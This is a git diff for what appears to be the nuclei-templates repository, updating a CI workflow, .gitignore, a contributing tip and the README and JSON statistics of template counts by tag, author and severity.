diff --git a/.github/workflows/templates-stats.yml b/.github/workflows/templates-stats.yml index f7b8dbdeb9..3fbb305a96 100644 --- a/.github/workflows/templates-stats.yml +++ b/.github/workflows/templates-stats.yml @@ -9,6 +9,7 @@ on: jobs: build: runs-on: ubuntu-latest + if: github.repository == 'projectdiscovery/nuclei-templates' && github.ref == 'refs/heads/master' steps: - name: Checkout Repo uses: actions/checkout@master @@ -24,7 +25,7 @@ jobs: env: GO111MODULE: on run: | - go get -v github.com/projectdiscovery/templates-stats + go get -v github.com/projectdiscovery/templates-stats@main shell: bash - name: Markdown Stats diff --git a/.gitignore b/.gitignore index b9f06cbe7c..31e1cc8224 100644 --- a/.gitignore +++ b/.gitignore @@ -1,2 +1,5 @@ +.idea/ .DS_Store local/ +.checksum +.new-additions \ No newline at end of file diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 2a3e83abcb..61084b76db 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -97,3 +97,4 @@ You can refer to the following articles of Git and GitHub basics. In case you ar - **Nuclei** outcomes are only as excellent as **template matchers💡** - Declare at least two matchers to reduce false positive - Avoid matching words reflected in the URL to reduce false positive +- Avoid short word that could be encountered anywhere diff --git a/README.md b/README.md index 2806ca3c1a..05efb37d28 100644 --- a/README.md +++ b/README.md @@ -42,18 +42,18 @@ An overview of the nuclei template project, including statistics on unique tags, | TAG | COUNT | AUTHOR | COUNT | DIRECTORY | COUNT | SEVERITY | COUNT | TYPE | COUNT | |-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------| -| cve | 511 | dhiyaneshdk | 220 | cves | 518 | info | 535 | http | 1566 | -| panel | 202 | pikpikcu | 195 | vulnerabilities | 246 | high | 426 | file | 42 | -| xss | 182 | pdteam | 187 | exposed-panels | 204 | medium | 349 | network | 35 | -| wordpress | 180 | dwisiswant0 | 126 | exposures | 168 | critical | 201 | dns | 10 | -| exposure | 176 | geeknik | 119 | technologies | 136 | low | 147 | | | -| rce | 173 | daffainfo | 99 | misconfiguration | 115 | | | | | -| cve2020 | 145 | madrobot | 60 | takeovers | 70 | | | | | -| lfi | 143 | princechaddha | 52 | default-logins | 49 | | | | | -| wp-plugin | 120 | gy741 | 48 | file | 42 | | | | | -| config | 90 | gaurang | 42 | workflows | 34 | | | | | +| cve | 590 | dhiyaneshdk | 239 | cves | 597 | info | 583 | http | 1720 | +| panel | 219 | pikpikcu | 237 | vulnerabilities | 265 | high | 465 | file | 46 | +| xss | 215 | pdteam | 194 | exposed-panels | 221 | medium | 387 | network | 35 | +| wordpress | 201 | daffainfo | 136 | exposures | 174 | critical | 226 | dns | 11 | +| exposure | 196 | dwisiswant0 | 128 | technologies | 159 | low | 156 | | | +| rce | 187 | geeknik | 127 | misconfiguration | 124 | | | | | +| lfi | 176 | gy741 | 68 | takeovers | 70 | | | | | +| cve2020 | 155 | madrobot | 60 | default-logins | 51 | | | | | +| wp-plugin | 136 | princechaddha | 53 | file | 46 | | | | | +| tech | 101 | gaurang | 42 | workflows | 35 | | | | | -**138 directories, 1709 files**. +**144 directories, 1870 files**. diff --git a/TEMPLATES-STATS.json b/TEMPLATES-STATS.json index 7f012a1194..a77e990153 100644 --- a/TEMPLATES-STATS.json +++ b/TEMPLATES-STATS.json @@ -1 +1 @@ -{"tags":[{"name":"cve","count":511},{"name":"panel","count":202},{"name":"xss","count":182},{"name":"wordpress","count":180},{"name":"exposure","count":176},{"name":"rce","count":173},{"name":"cve2020","count":145},{"name":"lfi","count":143},{"name":"wp-plugin","count":120},{"name":"config","count":90},{"name":"cve2021","count":83},{"name":"cve2019","count":82},{"name":"tech","count":78},{"name":"takeover","count":72},{"name":"cve2018","count":66},{"name":"","count":66},{"name":"token","count":63},{"name":"apache","count":61},{"name":"default-login","count":50},{"name":"iot","count":43},{"name":"cve2017","count":43},{"name":"file","count":42},{"name":"unauth","count":40},{"name":"network","count":35},{"name":"sqli","count":34},{"name":"oob","count":32},{"name":"logs","count":29},{"name":"workflow","count":29},{"name":"oracle","count":29},{"name":"ssrf","count":27},{"name":"misc","count":27},{"name":"jira","count":26},{"name":"atlassian","count":26},{"name":"disclosure","count":25},{"name":"cve2016","count":23},{"name":"listing","count":22},{"name":"redirect","count":20},{"name":"aem","count":19},{"name":"cisco","count":17},{"name":"sap","count":16},{"name":"debug","count":14},{"name":"fuzz","count":13},{"name":"misconfig","count":13},{"name":"struts","count":13},{"name":"cve2015","count":13},{"name":"adobe","count":12},{"name":"weblogic","count":12},{"name":"android","count":12},{"name":"auth-bypass","count":12},{"name":"zoho","count":11},{"name":"springboot","count":11},{"name":"cve2011","count":11},{"name":"dns","count":11},{"name":"cve2012","count":11},{"name":"dlink","count":10},{"name":"jenkins","count":10},{"name":"cve2014","count":10},{"name":"php","count":10},{"name":"cve2013","count":10},{"name":"devops","count":10},{"name":"magento","count":9},{"name":"gitlab","count":8},{"name":"router","count":8},{"name":"ftp","count":8},{"name":"airflow","count":8},{"name":"aws","count":8},{"name":"rails","count":8},{"name":"cnvd","count":8},{"name":"vmware","count":7},{"name":"xxe","count":7},{"name":"joomla","count":7},{"name":"nginx","count":7},{"name":"scada","count":7},{"name":"citrix","count":6},{"name":"api","count":6},{"name":"cms","count":6},{"name":"rconfig","count":6},{"name":"backup","count":6},{"name":"coldfusion","count":6},{"name":"jetty","count":6},{"name":"google","count":6},{"name":"java","count":5},{"name":"headless","count":5},{"name":"netgear","count":5},{"name":"confluence","count":5},{"name":"circarlife","count":5},{"name":"drupal","count":5},{"name":"cve2009","count":5},{"name":"phpmyadmin","count":5},{"name":"ruijie","count":5},{"name":"dedecms","count":5},{"name":"iis","count":5},{"name":"dell","count":5},{"name":"laravel","count":5},{"name":"files","count":5},{"name":"login","count":5},{"name":"lucee","count":5},{"name":"solr","count":5},{"name":"ssti","count":5},{"name":"django","count":5},{"name":"ibm","count":5},{"name":"fileupload","count":4},{"name":"solarwinds","count":4},{"name":"webserver","count":4},{"name":"tomcat","count":4},{"name":"elastic","count":4},{"name":"moodle","count":4},{"name":"jolokia","count":4},{"name":"docker","count":4},{"name":"crlf","count":4},{"name":"hongdian","count":4},{"name":"nodejs","count":4},{"name":"traversal","count":4},{"name":"vpn","count":4},{"name":"magmi","count":4},{"name":"samsung","count":4},{"name":"thinkphp","count":4},{"name":"asp","count":4},{"name":"thinkcmf","count":4},{"name":"artifactory","count":4},{"name":"openssh","count":3},{"name":"vbulletin","count":3},{"name":"deserialization","count":3},{"name":"log","count":3},{"name":"fpd","count":3},{"name":"bypass","count":3},{"name":"fanruan","count":3},{"name":"nacos","count":3},{"name":"windows","count":3},{"name":"git","count":3},{"name":"resin","count":3},{"name":"cve2010","count":3},{"name":"targa","count":3},{"name":"springcloud","count":3},{"name":"hp","count":3},{"name":"oa","count":3},{"name":"kubernetes","count":3},{"name":"grafana","count":3},{"name":"r-seenet","count":3},{"name":"ssh","count":3},{"name":"slack","count":3},{"name":"backups","count":3},{"name":"mongodb","count":3},{"name":"terramaster","count":3},{"name":"nosqli","count":3},{"name":"printer","count":3},{"name":"ebs","count":3},{"name":"amazon","count":3},{"name":"ofbiz","count":3},{"name":"kafka","count":3},{"name":"microstrategy","count":3},{"name":"caucho","count":3},{"name":"lfr","count":3},{"name":"sonarqube","count":2},{"name":"shellshock","count":2},{"name":"fortios","count":2},{"name":"strapi","count":2},{"name":"dos","count":2},{"name":"saltstack","count":2},{"name":"showdoc","count":2},{"name":"openam","count":2},{"name":"cve2007","count":2},{"name":"frp","count":2},{"name":"nagios","count":2},{"name":"proxy","count":2},{"name":"seeyon","count":2},{"name":"keycloak","count":2},{"name":"cve2008","count":2},{"name":"bitrix","count":2},{"name":"smb","count":2},{"name":"plesk","count":2},{"name":"injection","count":2},{"name":"spark","count":2},{"name":"nexus","count":2},{"name":"openfire","count":2},{"name":"rockethchat","count":2},{"name":"jboss","count":2},{"name":"sharepoint","count":2},{"name":"kibana","count":2},{"name":"nextjs","count":2},{"name":"vrealize","count":2},{"name":"emerge","count":2},{"name":"leak","count":2},{"name":"cache","count":2},{"name":"yapi","count":2},{"name":"sonicwall","count":2},{"name":"prometheus","count":2},{"name":"paloalto","count":2},{"name":"microsoft","count":2},{"name":"trixbox","count":2},{"name":"kevinlab","count":2},{"name":"xxljob","count":2},{"name":"intrusive","count":2},{"name":"voipmonitor","count":2},{"name":"huawei","count":2},{"name":"hjtcloud","count":2},{"name":"mail","count":2},{"name":"rstudio","count":2},{"name":"igs","count":2},{"name":"odoo","count":2},{"name":"chiyu","count":2},{"name":"webcam","count":2},{"name":"ucmdb","count":2},{"name":"glassfish","count":2},{"name":"telerik","count":2},{"name":"zhiyuan","count":2},{"name":"zabbix","count":2},{"name":"flir","count":2},{"name":"service","count":2},{"name":"kentico","count":2},{"name":"splunk","count":2},{"name":"icewarp","count":2},{"name":"bigip","count":2},{"name":"pega","count":2},{"name":"wordfence","count":2},{"name":"linkerd","count":2},{"name":"ecology","count":2},{"name":"chamilo","count":2},{"name":"idrac","count":2},{"name":"smtp","count":2},{"name":"natshell","count":2},{"name":"hpe","count":2},{"name":"globalprotect","count":2},{"name":"oauth","count":2},{"name":"waf","count":2},{"name":"maian","count":2},{"name":"mida","count":2},{"name":"httpd","count":2},{"name":"jellyfin","count":2},{"name":"rockmongo","count":2},{"name":"activemq","count":2},{"name":"couchdb","count":2},{"name":"hashicorp","count":2},{"name":"gitlist","count":1},{"name":"jquery","count":1},{"name":"razor","count":1},{"name":"checkpoint","count":1},{"name":"erp-nc","count":1},{"name":"mongo","count":1},{"name":"idemia","count":1},{"name":"shopware","count":1},{"name":"sangfor","count":1},{"name":"pagespeed","count":1},{"name":"bookstack","count":1},{"name":"spidercontrol","count":1},{"name":"timeclock","count":1},{"name":"zend","count":1},{"name":"tensorboard","count":1},{"name":"blind","count":1},{"name":"klog","count":1},{"name":"varnish","count":1},{"name":"javamelody","count":1},{"name":"2014","count":1},{"name":"oscommerce","count":1},{"name":"discourse","count":1},{"name":"bolt","count":1},{"name":"payara","count":1},{"name":"avalanche","count":1},{"name":"eprints","count":1},{"name":"acexy","count":1},{"name":"mongoshake","count":1},{"name":"wildfly","count":1},{"name":"lancom","count":1},{"name":"magicflow","count":1},{"name":"cloudflare","count":1},{"name":"wazuh","count":1},{"name":"selea","count":1},{"name":"pippoint","count":1},{"name":"bruteforce","count":1},{"name":"tenda","count":1},{"name":"backdoor","count":1},{"name":"swagger","count":1},{"name":"wifisky","count":1},{"name":"socomec","count":1},{"name":"csod","count":1},{"name":"octoprint","count":1},{"name":"etouch","count":1},{"name":"proftpd","count":1},{"name":"wavemaker","count":1},{"name":"clave","count":1},{"name":"plugin","count":1},{"name":"fortigates","count":1},{"name":"fortinet","count":1},{"name":"tensorflow","count":1},{"name":"szhe","count":1},{"name":"phpunit","count":1},{"name":"acme","count":1},{"name":"phalcon","count":1},{"name":"dvwa","count":1},{"name":"ganglia","count":1},{"name":"extractor","count":1},{"name":"fortiweb","count":1},{"name":"panabit","count":1},{"name":"moin","count":1},{"name":"grav","count":1},{"name":"bitly","count":1},{"name":"manageengine","count":1},{"name":"phpfusion","count":1},{"name":"hiboss","count":1},{"name":"mdb","count":1},{"name":"mirai","count":1},{"name":"netdata","count":1},{"name":"liferay","count":1},{"name":"rfi","count":1},{"name":"monitorix","count":1},{"name":"tongda","count":1},{"name":"gloo","count":1},{"name":"expose","count":1},{"name":"trilithic","count":1},{"name":"scimono","count":1},{"name":"visualtools","count":1},{"name":"drone","count":1},{"name":"vsftpd","count":1},{"name":"expn","count":1},{"name":"skywalking","count":1},{"name":"lanproxy","count":1},{"name":"huijietong","count":1},{"name":"jeewms","count":1},{"name":"rhymix","count":1},{"name":"dotnet","count":1},{"name":"soar","count":1},{"name":"k8","count":1},{"name":"jenkin","count":1},{"name":"opensns","count":1},{"name":"nuxeo","count":1},{"name":"nette","count":1},{"name":"nc2","count":1},{"name":"plc","count":1},{"name":"crm","count":1},{"name":"ssltls","count":1},{"name":"redwood","count":1},{"name":"nordex","count":1},{"name":"wso2","count":1},{"name":"goahead","count":1},{"name":"doh","count":1},{"name":"lansweeper","count":1},{"name":"harbor","count":1},{"name":"firebase","count":1},{"name":"redhat","count":1},{"name":"wiki","count":1},{"name":"sceditor","count":1},{"name":"sitecore","count":1},{"name":"vsphere","count":1},{"name":"ec2","count":1},{"name":"plone","count":1},{"name":"primetek","count":1},{"name":"wuzhicms","count":1},{"name":"lotuscms","count":1},{"name":"fedora","count":1},{"name":"itop","count":1},{"name":"monitorr","count":1},{"name":"dotclear","count":1},{"name":"triconsole","count":1},{"name":"circontrol","count":1},{"name":"lutron","count":1},{"name":"bash","count":1},{"name":"st","count":1},{"name":"alibaba","count":1},{"name":"parentlink","count":1},{"name":"diris","count":1},{"name":"totaljs","count":1},{"name":"comodo","count":1},{"name":"nexusdb","count":1},{"name":"circontrorl","count":1},{"name":"zte","count":1},{"name":"nuuo","count":1},{"name":"postmessage","count":1},{"name":"setup","count":1},{"name":"mautic","count":1},{"name":"zarafa","count":1},{"name":"zmanda","count":1},{"name":"dotnetnuke","count":1},{"name":"beanshell","count":1},{"name":"upload","count":1},{"name":"blue-ocean","count":1},{"name":"plastic","count":1},{"name":"vscode","count":1},{"name":"ruby","count":1},{"name":"fastapi","count":1},{"name":"ulterius","count":1},{"name":"xunchi","count":1},{"name":"sentry","count":1},{"name":"ruckus","count":1},{"name":"nsasg","count":1},{"name":"jmx","count":1},{"name":"chinaunicom","count":1},{"name":"darkstat","count":1},{"name":"memcached","count":1},{"name":"stem","count":1},{"name":"grails","count":1},{"name":"kafdrop","count":1},{"name":"enum","count":1},{"name":"zimbra","count":1},{"name":"ilo4","count":1},{"name":"rdp","count":1},{"name":"anchorcms","count":1},{"name":"nedi","count":1},{"name":"mara","count":1},{"name":"mantis","count":1},{"name":"sco","count":1},{"name":"faraday","count":1},{"name":"hasura","count":1},{"name":"kerbynet","count":1},{"name":"servicedesk","count":1},{"name":"opentsdb","count":1},{"name":"salesforce","count":1},{"name":"fastcgi","count":1},{"name":"appweb","count":1},{"name":"openerp","count":1},{"name":"woocomernce","count":1},{"name":"octobercms","count":1},{"name":"linkedin","count":1},{"name":"yachtcontrol","count":1},{"name":"zm","count":1},{"name":"tapestry","count":1},{"name":"vnc","count":1},{"name":"node-red-dashboard","count":1},{"name":"mobileiron","count":1},{"name":"ssl","count":1},{"name":"ecom","count":1},{"name":"empirecms","count":1},{"name":"postgres","count":1},{"name":"svnserve","count":1},{"name":"heroku","count":1},{"name":"moinmoin","count":1},{"name":"centos","count":1},{"name":"jitsi","count":1},{"name":"cacti","count":1},{"name":"cse","count":1},{"name":"cocoon","count":1},{"name":"csrf","count":1},{"name":"timesheet","count":1},{"name":"keenetic","count":1},{"name":"xff","count":1},{"name":"flash","count":1},{"name":"gogs","count":1},{"name":"majordomo2","count":1},{"name":"opensmtpd","count":1},{"name":"exchange","count":1},{"name":"opm","count":1},{"name":"fuelcms","count":1},{"name":"pulsesecure","count":1},{"name":"pgadmin","count":1},{"name":"webui","count":1},{"name":"tpshop","count":1},{"name":"interlib","count":1},{"name":"mpsec","count":1},{"name":"exacqvision","count":1},{"name":"sprintful","count":1},{"name":"bullwark","count":1},{"name":"netrc","count":1},{"name":"openrestry","count":1},{"name":"smartsense","count":1},{"name":"flink","count":1},{"name":"metinfo","count":1},{"name":"robomongo","count":1},{"name":"emc","count":1},{"name":"fortigate","count":1},{"name":"cve2005","count":1},{"name":"gridx","count":1},{"name":"synnefo","count":1},{"name":"calendarix","count":1},{"name":"eyou","count":1},{"name":"xdcms","count":1},{"name":"subrion","count":1},{"name":"servicenow","count":1},{"name":"rmi","count":1},{"name":"db","count":1},{"name":"enumeration","count":1},{"name":"powercreator","count":1},{"name":"jenzabar","count":1},{"name":"zzzcms","count":1},{"name":"openstack","count":1},{"name":"ems","count":1},{"name":"wmt","count":1},{"name":"chevereto","count":1},{"name":"74cms","count":1},{"name":"mailchimp","count":1},{"name":"webadmin","count":1},{"name":"glances","count":1},{"name":"cgi","count":1},{"name":"episerver","count":1},{"name":"dompdf","count":1},{"name":"rsyncd","count":1},{"name":"shopxo","count":1},{"name":"aspnuke","count":1},{"name":"viewpoint","count":1},{"name":"mariadb","count":1},{"name":"wavlink","count":1},{"name":"javafaces","count":1},{"name":"webmodule-ee","count":1},{"name":"hortonworks","count":1},{"name":"kubeflow","count":1},{"name":"sqlite","count":1},{"name":"cors","count":1},{"name":"geutebruck","count":1},{"name":"labtech","count":1},{"name":"apiman","count":1},{"name":"nps","count":1},{"name":"jnoj","count":1},{"name":"azure","count":1},{"name":"fortilogger","count":1},{"name":"zenario","count":1},{"name":"duomicms","count":1},{"name":"seacms","count":1},{"name":"linksys","count":1},{"name":"thinkadmin","count":1},{"name":"finereport","count":1},{"name":"viewlinc","count":1},{"name":"haproxy","count":1},{"name":"spring","count":1},{"name":"npm","count":1},{"name":"xml","count":1},{"name":"wamp","count":1},{"name":"spectracom","count":1},{"name":"ricoh","count":1},{"name":"pacsone","count":1},{"name":"rubedo","count":1},{"name":"xmlchart","count":1},{"name":"concrete","count":1},{"name":"landray","count":1},{"name":"accela","count":1},{"name":"mediumish","count":1},{"name":"alerta","count":1},{"name":"k8s","count":1},{"name":"avtech","count":1},{"name":"akamai","count":1},{"name":"weiphp","count":1},{"name":"ntopng","count":1},{"name":"wp-theme","count":1},{"name":"turbocrm","count":1},{"name":"netis","count":1},{"name":"expressjs","count":1},{"name":"kyan","count":1},{"name":" default-login","count":1},{"name":"redis","count":1},{"name":"starttls","count":1},{"name":"livezilla","count":1},{"name":"dlogin","count":1},{"name":"ns","count":1},{"name":"esmtp","count":1},{"name":"tika","count":1},{"name":"uwsgi","count":1},{"name":"sarg","count":1},{"name":"glpi","count":1},{"name":"rmc","count":1},{"name":"kong","count":1},{"name":"favicon","count":1},{"name":"fiori","count":1},{"name":"cloudinary","count":1},{"name":"blackboard","count":1},{"name":"symfony","count":1},{"name":"panos","count":1},{"name":"landrayoa","count":1},{"name":"druid","count":1},{"name":"gateone","count":1},{"name":"redcap","count":1},{"name":"svn","count":1},{"name":"aura","count":1},{"name":"floc","count":1},{"name":"feifeicms","count":1},{"name":"arl","count":1},{"name":"lighttpd","count":1},{"name":"portainer","count":1},{"name":"hadoop","count":1},{"name":"maccmsv10","count":1},{"name":"wooyun","count":1},{"name":"solman","count":1},{"name":"horde","count":1},{"name":"sidekiq","count":1},{"name":"krweb","count":1},{"name":"htmli","count":1},{"name":"myucms","count":1},{"name":"h3c-imc","count":1},{"name":"tileserver","count":1},{"name":"email","count":1},{"name":"iptime","count":1},{"name":"domxss","count":1},{"name":"ueditor","count":1},{"name":"bedita","count":1},{"name":"traefik","count":1},{"name":"mcafee","count":1},{"name":"commscope","count":1},{"name":"geddy","count":1},{"name":"realteo","count":1},{"name":"addpac","count":1},{"name":"jfrog","count":1},{"name":"node","count":1},{"name":"biometrics","count":1},{"name":"optiLink","count":1},{"name":"webftp","count":1},{"name":"emby","count":1},{"name":"ioncube","count":1},{"name":"axis","count":1},{"name":"visionhub","count":1},{"name":"saltapi","count":1},{"name":"rabbitmq","count":1},{"name":"alertmanager","count":1},{"name":"codeigniter","count":1},{"name":"yii","count":1},{"name":"clusterengine","count":1},{"name":"status","count":1},{"name":"spf","count":1},{"name":"zcms","count":1},{"name":"jsf","count":1},{"name":"opencast","count":1},{"name":"zookeeper","count":1},{"name":"dom","count":1},{"name":"discord","count":1},{"name":"codemeter","count":1},{"name":"embedthis","count":1},{"name":"akkadian","count":1},{"name":"mysql","count":1},{"name":"phpinfo","count":1},{"name":"rujjie","count":1},{"name":"apos","count":1},{"name":"dvr","count":1},{"name":"xiuno","count":1},{"name":"nomad","count":1},{"name":"springframework","count":1},{"name":"ambari","count":1},{"name":"pyramid","count":1},{"name":"zeroshell","count":1},{"name":"clockwatch","count":1},{"name":"scs","count":1},{"name":"b2evolution","count":1},{"name":"netsweeper","count":1},{"name":"webmin","count":1},{"name":"cobub","count":1},{"name":"adminer","count":1},{"name":"jsp","count":1},{"name":"upnp","count":1},{"name":"tamronos","count":1},{"name":"javascript","count":1},{"name":"mantisbt","count":1}],"authors":[{"name":"dhiyaneshdk","count":220},{"name":"pikpikcu","count":195},{"name":"pdteam","count":187},{"name":"dwisiswant0","count":126},{"name":"geeknik","count":119},{"name":"daffainfo","count":99},{"name":"madrobot","count":60},{"name":"princechaddha","count":52},{"name":"gy741","count":48},{"name":"gaurang","count":42},{"name":"pussycat0x","count":34},{"name":"ice3man","count":26},{"name":"organiccrap","count":24},{"name":"0x_akoko","count":20},{"name":"sheikhrishad","count":15},{"name":"milo2012","count":14},{"name":"philippedelteil","count":14},{"name":"pr3r00t","count":13},{"name":"techbrunchfr","count":13},{"name":"suman_kar","count":12},{"name":"cyllective","count":11},{"name":"random_robbie","count":10},{"name":"wdahlenb","count":9},{"name":"righettod","count":9},{"name":"iamthefrogy","count":8},{"name":"melbadry9","count":8},{"name":"hackergautam","count":8},{"name":"nadino","count":8},{"name":"aashiq","count":8},{"name":"that_juan_","count":8},{"name":"0x240x23elu","count":7},{"name":"randomstr1ng","count":7},{"name":"techryptic (@tech)","count":7},{"name":"oppsec","count":7},{"name":"dr_set","count":7},{"name":"r3dg33k","count":7},{"name":"kophjager007","count":7},{"name":"emadshanab","count":7},{"name":"harshbothra_","count":7},{"name":"caspergn","count":6},{"name":"puzzlepeaches","count":6},{"name":"__fazal","count":6},{"name":"joanbono","count":5},{"name":"ganofins","count":5},{"name":"yanyun","count":5},{"name":"pentest_swissky","count":5},{"name":"panch0r3d","count":5},{"name":"elsfa7110","count":4},{"name":"iamnoooob","count":4},{"name":"xelkomy","count":4},{"name":"rootxharsh","count":4},{"name":"nodauf","count":4},{"name":"e_schultze_","count":4},{"name":"meme-lord","count":4},{"name":"github.com/its0x08","count":4},{"name":"yash anand @yashanand155","count":3},{"name":"mavericknerd","count":3},{"name":"fyoorer","count":3},{"name":"binaryfigments","count":3},{"name":"_generic_human_","count":3},{"name":"tess","count":3},{"name":"impramodsargar","count":3},{"name":"0w4ys","count":3},{"name":"jarijaas","count":3},{"name":"f1tz","count":3},{"name":"shine","count":3},{"name":"thomas_from_offensity","count":3},{"name":"z3bd","count":3},{"name":"dudez","count":3},{"name":"mahendra purbia (mah3sec_)","count":2},{"name":"bp0lr","count":2},{"name":"x1m_martijn","count":2},{"name":"0xrudra","count":2},{"name":"w4cky_","count":2},{"name":"0xsapra","count":2},{"name":"bsysop","count":2},{"name":"random-robbie","count":2},{"name":"manas_harsh","count":2},{"name":"shifacyclewala","count":2},{"name":"koti2","count":2},{"name":"lotusdll","count":2},{"name":"unstabl3","count":2},{"name":"udit_thakkur","count":2},{"name":"nkxxkn","count":2},{"name":"swissky","count":2},{"name":"afaq","count":2},{"name":"ree4pwn","count":2},{"name":"dheerajmadhukar","count":2},{"name":"randomrobbie","count":2},{"name":"0xelkomy","count":2},{"name":"pxmme1337","count":2},{"name":"vavkamil","count":2},{"name":"emenalf","count":2},{"name":"incogbyte","count":2},{"name":"gevakun","count":2},{"name":"moritz nentwig","count":2},{"name":"0xprial","count":2},{"name":"davidmckennirey","count":2},{"name":"zomsop82","count":2},{"name":"0xcrypto","count":2},{"name":"fabaff","count":2},{"name":"joeldeleep","count":2},{"name":"ehsahil","count":2},{"name":"lu4nx","count":2},{"name":"amsda","count":2},{"name":"kiblyn11","count":2},{"name":"bing0o","count":2},{"name":"foulenzer","count":2},{"name":"hetroublemakr","count":2},{"name":"alph4byt3","count":1},{"name":"fmunozs","count":1},{"name":"becivells","count":1},{"name":"luci","count":1},{"name":"manikanta a.k.a @secureitmania","count":1},{"name":"mah3sec_","count":1},{"name":"thezakman","count":1},{"name":"b0yd","count":1},{"name":"g4l1t0 and @convisoappsec","count":1},{"name":"smaranchand","count":1},{"name":"juicypotato1","count":1},{"name":"willd96","count":1},{"name":"alifathi-h1","count":1},{"name":"omarkurt","count":1},{"name":"j33n1k4","count":1},{"name":"bolli95","count":1},{"name":"dogasantos","count":1},{"name":"remonsec","count":1},{"name":"alperenkesk","count":1},{"name":"andysvints","count":1},{"name":"bernardo rodrigues @bernardofsr | andré monteiro @am0nt31r0","count":1},{"name":"_c0wb0y_","count":1},{"name":"sicksec","count":1},{"name":"petruknisme","count":1},{"name":"kishore krishna (sillydaddy)","count":1},{"name":"@dwisiswant0","count":1},{"name":"naglinagli","count":1},{"name":"s1r1u5_","count":1},{"name":"elmahdi","count":1},{"name":"deena","count":1},{"name":"_harleo","count":1},{"name":"gboddin","count":1},{"name":"nytr0gen","count":1},{"name":"luskabol","count":1},{"name":"divya_mudgal","count":1},{"name":"undefl0w","count":1},{"name":"d0rkerdevil","count":1},{"name":"tim_koopmans","count":1},{"name":"ivo palazzolo (@palaziv)","count":1},{"name":"0xtavian","count":1},{"name":"0ut0fb4nd","count":1},{"name":"regala_","count":1},{"name":"hanlaomo","count":1},{"name":"0xrod","count":1},{"name":"rodnt","count":1},{"name":"co0nan","count":1},{"name":"sy3omda","count":1},{"name":"revblock","count":1},{"name":"ilovebinbash","count":1},{"name":"jteles","count":1},{"name":"j3ssie/geraldino2","count":1},{"name":"tirtha_mandal","count":1},{"name":"abison_binoy","count":1},{"name":"0xteles","count":1},{"name":"sid ahmed malaoui @ realistic security","count":1},{"name":"ahmed sherif","count":1},{"name":"streetofhackerr007","count":1},{"name":"aaron_costello (@conspiracyproof)","count":1},{"name":"un-fmunozs","count":1},{"name":"shelld3v","count":1},{"name":"_darrenmartyn","count":1},{"name":"pdp","count":1},{"name":"whynotke","count":1},{"name":"0h1in9e","count":1},{"name":"mohammedsaneem","count":1},{"name":"flag007","count":1},{"name":"r3naissance","count":1},{"name":"@github.com/defr0ggy","count":1},{"name":"raesene","count":1},{"name":"mhdsamx","count":1},{"name":"jeya seelan","count":1},{"name":"yashgoti","count":1},{"name":"gal nagli","count":1},{"name":"kabirsuda","count":1},{"name":"vzamanillo","count":1},{"name":"makyotox","count":1},{"name":"andirrahmani1","count":1},{"name":"streetofhackerr007 (rohit soni)","count":1},{"name":"pudsec","count":1},{"name":"patralos","count":1},{"name":"qlkwej","count":1},{"name":"zandros0","count":1},{"name":"aresx","count":1},{"name":"vsh00t","count":1},{"name":"blckraven","count":1},{"name":"arcc","count":1},{"name":"rojanrijal","count":1},{"name":"taielab","count":1},{"name":"shifacyclewla","count":1},{"name":"affix","count":1},{"name":"kurohost","count":1},{"name":"furkansenan","count":1},{"name":"fopina","count":1},{"name":"ooooooo_q","count":1},{"name":"ipanda","count":1},{"name":"52971","count":1},{"name":"sickwell","count":1},{"name":"manuelbua","count":1},{"name":"dawid czarnecki","count":1},{"name":"noamrathaus","count":1},{"name":"notsoevilweasel","count":1},{"name":"schniggie","count":1},{"name":"johnjhacking","count":1},{"name":"berkdusunur","count":1},{"name":"daviey","count":1},{"name":"ratnadip gajbhiye","count":1},{"name":"akash.c","count":1},{"name":"akshansh","count":1},{"name":"zhenwarx","count":1},{"name":"chron0x","count":1},{"name":"yashanand155","count":1},{"name":"geraldino2","count":1},{"name":"cookiehanhoan","count":1},{"name":"johnk3r","count":1},{"name":"ringo","count":1},{"name":"kareemse1im","count":1},{"name":"ohlinge","count":1},{"name":"sushant kamble (https://in.linkedin.com/in/sushantkamble)","count":1},{"name":"iampritam","count":1},{"name":"toufik airane","count":1},{"name":"thevillagehacker","count":1},{"name":"idealphase","count":1},{"name":"defr0ggy","count":1},{"name":"ajaysenr","count":1},{"name":"alex","count":1},{"name":"soyelmago","count":1},{"name":"aceseven (digisec360)","count":1},{"name":"yavolo","count":1},{"name":"rtcms","count":1},{"name":"micha3lb3n","count":1},{"name":"mubassirpatel","count":1},{"name":"its0x08","count":1},{"name":"kba@sogeti_esec","count":1},{"name":"retr0","count":1},{"name":"exploitation","count":1},{"name":"bjhulst","count":1},{"name":"th3.d1p4k","count":1},{"name":"b4uh0lz","count":1},{"name":"sullo","count":1},{"name":"bernardofsr","count":1},{"name":"shreyapohekar","count":1},{"name":"apt-mirror","count":1},{"name":"ldionmarcil","count":1},{"name":"hakluke","count":1},{"name":"knassar702","count":1},{"name":"bad5ect0r","count":1},{"name":"wabafet","count":1},{"name":"absshax","count":1},{"name":"c3l3si4n","count":1},{"name":"sshell","count":1}],"directory":[{"name":"cves","count":518},{"name":"vulnerabilities","count":246},{"name":"exposed-panels","count":204},{"name":"exposures","count":168},{"name":"technologies","count":136},{"name":"misconfiguration","count":115},{"name":"takeovers","count":70},{"name":"default-logins","count":49},{"name":"file","count":42},{"name":"workflows","count":34},{"name":"network","count":27},{"name":"miscellaneous","count":27},{"name":"iot","count":22},{"name":"fuzzing","count":10},{"name":"dns","count":10},{"name":"cnvd","count":9},{"name":"headless","count":5},{"name":".pre-commit-config.yaml","count":1}],"severity":[{"name":"info","count":535},{"name":"high","count":426},{"name":"medium","count":349},{"name":"critical","count":201},{"name":"low","count":147}],"types":[{"name":"http","count":1566},{"name":"file","count":42},{"name":"network","count":35},{"name":"dns","count":10}]} 